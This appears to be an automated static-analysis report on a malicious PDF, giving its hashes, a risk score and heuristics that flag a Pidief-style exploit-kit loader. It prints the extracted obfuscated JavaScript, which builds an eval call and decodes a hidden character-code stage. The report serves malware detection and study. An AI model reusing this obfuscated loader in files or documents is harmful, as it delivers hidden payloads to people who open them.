Malicious PDF — malware analysis report

Static analysis result for SHA-256 d0cf1b0ed2a362e1…

MALICIOUS

PDF

45.1 KB First seen: 2026-05-08
MD5: 665ba0695292ad6f61a5e30beced9e83 SHA-1: dc8c89a8a9e2a25fe751cc96ed5de1fb7df9531b SHA-256: d0cf1b0ed2a362e1f34ff46a68fe48c4c4ef47f0adcdeaf59fff9cb671a77a93
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB208 436 bytes
SHA-256: 58354b7e20e9998c5ee3cb8e888985d91c3246120c30d48a03dc61d826875c81
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
cnge='';
trxhg=('qwrwqr','tit');
e('ikj=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
oxw=e('String.fr'+ikj.substr(0,10));
vif = e(ikj.substr(10)['replace'](/u/g,','));
e('k=vif.length');
for (i = 0; i < k; i+=2) {
	rsx = vif[i+1] + ('erybjkerl',vif[i]);
	cnge += oxw(rsx);
}
e(cnge);

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